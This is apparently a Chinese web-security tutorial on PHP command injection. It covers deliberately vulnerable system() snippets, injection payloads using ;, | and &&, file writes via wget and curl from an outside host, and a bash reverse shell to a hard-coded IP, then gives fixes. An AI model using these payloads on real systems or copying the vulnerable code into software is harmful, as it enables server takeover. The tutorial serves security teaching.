内容:
命令执行漏洞的概述
命令执行漏洞的危害
命令执行漏洞的利用
命令执行漏洞的防御

背景介绍
程序员使用脚本语言(比如PHP)开发应用程序过程中,脚本语言开发十分快速、简洁,方便,但是也伴随着一些问题。比如说速度慢,或者无法接触系统底层,如果我们开发的应用,特别是企业级的一些应用需要去调用一些外部程序。当应用需要调用一些外部程序时就会用到一些执行系统命令的函数。

成因
应用在调用这些函数执行系统命令的时候,如果将用户的输入作为系统命令的参数拼接到命令行中,在没有过滤用户的输入的情况下,就会造成命令执行漏洞。

相关函数
在PHP中可以调用外部程序的常见函数:

  • system(args) 有回显
  • passthru(args)(有回显)
  • exec(args) (回显最后一行-必须echo输出)
  • shell_exec(args) (无回显-必须输出)
  • 反引号:``
  • popen(handle,mode)(无回显)
  • proc_open(‘cmd’,‘flag’,‘flag’)(无回显)
  • $process = proc_open(‘dir’,$des,$pipes);
  • echo stream_get_contents($pipes[1]);

漏洞危害

  • 继承Web服务器程序的权限,去执行系统命令
  • 继承Web服务器程序的权限,读写文件
  • 反弹shell
  • 控制整个网站
  • 甚至控制整个服务器

system()函数漏洞利用_1

<?php
$arg = $_GET[‘cmd’];if($arg){system(“$arg”);
}
?>

• /?cmd=id
• /?cmd=pwd
• /?cmd=ifconfig

system()函数漏洞利用_2

<?php
$arg = $_GET[‘cmd’];if($arg){system(“ping –c 3 $arg”);
}
?>

我们能够控制的点是程序的整个参数,我们可以直接用&&或|等等,利用与、或、管道命令来执行其他命令。
• /?cmd=127.0.0.1| ifconfig

System(“ping –c 3 127.0.0.1; ifconfig)
linux 下支持分号 ”;”
|,||,%26,%26%26,
中间加任意字符,后面都会执行-,//,/*/

system()函数漏洞利用_3

<?php
$arg = $_GET[‘cmd’];if($arg){system(“ls –al \“$arg\””);// ls –al “”;ifconfig;”
}
?>

逻辑与短路

<?php
if ($a = 100 | $b =100) {\# code...
}

// 短路与&&的特点,前面如果为真,才执行后面的,如果为假,都不执行。
// 逻辑与&的特点,前面无论真假,后面都执行
// 短路或||&的特点,前面如果为真,后面的不执行了,前面为假,后面执行
// 逻辑或|前面无论真假,后面都执行

echo "<pre>";
var_dump($a);
var_dump($b);
?>

• /?cmd=/home” ; ifconfig;”
• /?cmd=/home” | ifconfig;”
• /?cmd=/home” %26 ifconfig;”
• /?cmd=/home” %26%26 ifconfig;”

system()函数利用_4

<?php
$arg = $_GET[‘cmd’];if($arg){system(“ls –al ‘$arg’”);
}
?>

在单引号内的话,变量不能被解析,因此要想执行命令必须闭合单引号。
• /cmd?=/home’|ipconfig ’

漏洞利用
如果有写权限的话

  1. 执行pwd得到绝对路径
  2. 写文件:
    • ?cmd=echo"<?php phpinfo()?>" > /var/www/html/info.php
    • ?cmd=wget -O /var/www/html/info.php http://www.xx.com/phpinfo.txt
    • ?cmd=curl http://www.xx.com/phpinfo.txt > /var/www/html/info.php

反弹shell
公网服务器执行 nc –lvv 8888

目标服务器上执行
• ?cmd= bash -i >& /dev/tcp/211.149.191.5/9999 0>&1

漏洞修复方案
• 能使用脚本解决的工作,不要调用其他程序处理,尽量少用执行命令的函数,并在disabl_functions中禁用。
• 在进入命令执行的函数或方法之前,对参数进行过滤。
• 参数的值尽量使用引号包裹,并在拼接前调用addslashes进行转义。

Web安全之命令执行漏洞相关推荐

  1. 【web安全】——命令执行漏洞(RCE)详解

    作者名:Demo不是emo  主页面链接:主页传送门 创作初心:舞台再大,你不上台,永远是观众,没人会关心你努不努力,摔的痛不痛,他们只会看你最后站在什么位置,然后羡慕或鄙夷 座右铭:不要让时代的悲哀 ...

  2. 漏洞情报 | 锐捷RSR路由器设备存在命令执行漏洞

    ​ 点击上方 订阅话题 第一时间了解漏洞威胁 0x01 漏洞描述 2021年4月14日,360漏洞云监测到锐捷网络官方通告了锐捷网络RSR路由器系列产品的Web管理存在命令执行漏洞(CNVD-2021 ...

  3. struts2漏洞_十大常见web漏洞——命令执行漏洞

    命令执行漏洞在不同框架下都有存在,也是十分普遍且危害极大,下面我们介绍一个最具代表性的,也是影响范围最大的一个命令执行漏洞--Struts2远程代码执行漏洞. Struts2 漏洞介绍 ApacheS ...

  4. Web安全 RCE漏洞(命令执行漏洞的 测试和利用).

    系统命令执行的概括 系统命令执行一般是 在Web应用中,可能有时候需要调用一些系统命令来执行,而程序在开发的时候没有对输入进行严格的过滤,导致恶意用户可以构造一些恶意的系统命令,从而达成系统命令执行攻 ...

  5. WEB漏洞—RCE 代码及命令执行漏洞

    什么是RCE? 指的是远程命令/代码执行(remote command/code execute) 在 Web 应用中有时候程序员为了考虑灵活性.简洁性,会在代码调用代码或命令执行函数去处理.比如当应 ...

  6. 30.WEB漏洞-RCE代码及命令执行漏洞

    30:WEB漏洞-RCE代码及命令执行漏洞 参考文章:https://www.cnblogs.com/zhengna/p/15775737.html 本文为博主学习复现笔记 文章目录 30:WEB漏洞 ...

  7. 第30天-WEB 漏洞-RCE 代码及命令执行漏洞全解

    在 Web 应用中有时候程序员为了考虑灵活性.简洁性,会在代码调用代码或命令执行函数去处理.比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞.同样 ...

  8. 【Web安全】DVWA之Command injection(命令执行漏洞)探索

    文章目录 1 命令行注入 2 low 3 Medium 4 Middle 5 Impossible 1 命令行注入 命令执行漏洞的原理:在操作系统中, & .&& .| . | ...

  9. python直接执行代码漏洞_修复Python任意命令执行漏洞

    Author:JoyChou@美丽联合安全 Date:20180605 1. 前言 今天遇到一个不好做白名单的Python命令执行漏洞修复的问题.由于是shell=True导致的任意命令执行,一开始大 ...

最新文章

  1. uestWrapper.getSession(HttpServletRequestWrapper.java:241) ~[tomcat-embed-core-9.0.13.jar:9.0.13]
  2. html背景自动换,html页面换皮肤颜色、背景图片(更换页面背景,常驻缓存)刷新保存...
  3. php注册界面模板,WeUI注册页面
  4. micropython编译原理_C语言嵌入式Linux高级编程第9期:CPU和操作系统入门视频课程...
  5. 【教程】把PPT转WORD形式的方法
  6. TCP流式套接字的异步事件WSAAsyncSelect编程
  7. 判断用户Input输入的事件来进行登陆
  8. 数据结构C#版笔记--啥夫曼树(Huffman Tree)与啥夫曼编码(Huffman Encoding)
  9. 03 两个重要极限函数
  10. 关于 韩国 申明 豆浆 和 端午 是其国家创造或历史的 看法
  11. windows 设置目录不可执行程序
  12. 海量实时广告流平台(DSP广告系统)架构设计与实践
  13. 安装ubuntu20.04,从格式化磁盘到搭建全栈开发环境
  14. 2020年区块链行业十大趋势
  15. iOS模拟器运行报错Unable to install /xxx/build/ios/iphonesimulator/Runner.app
  16. svg格式的图片怎么放到word中?用这3种方法轻松解决!
  17. excel切片器显示错误_使用切片器在Excel中设置过滤条件
  18. 易语言5.7完美版 全套视频学习教程
  19. ubuntu系统下adb连接手机
  20. 天猫店群玩法解析,适合做天猫店群高利润玩法的类目有哪些?

热门文章

  1. 环境监控告警系统之TIM即时消息推送部署
  2. DL之NIN:Network in Network算法的简介(论文介绍)、架构详解、案例应用等配图集合之详细攻略
  3. DL之SoftmaxWithLoss:SoftmaxWithLoss算法(Softmax+交叉熵误差)简介、使用方法、应用案例之详细攻略
  4. ML之Hierarchical clustering:利用层次聚类算法来把100张图片自动分成红绿蓝三种色调
  5. 《疯狂Java讲义》8
  6. bzoj 4559 [JLoi2016]成绩比较 —— DP+拉格朗日插值
  7. mysql百万级分页优化
  8. GlobalAlloca GlobalLock GlobalUnlock函数的作用
  9. 《从零开始学Swift》学习笔记(Day 33)——属性观察者
  10. 在.Net中进行跨线程的控件操作(上篇:Control.Invoke)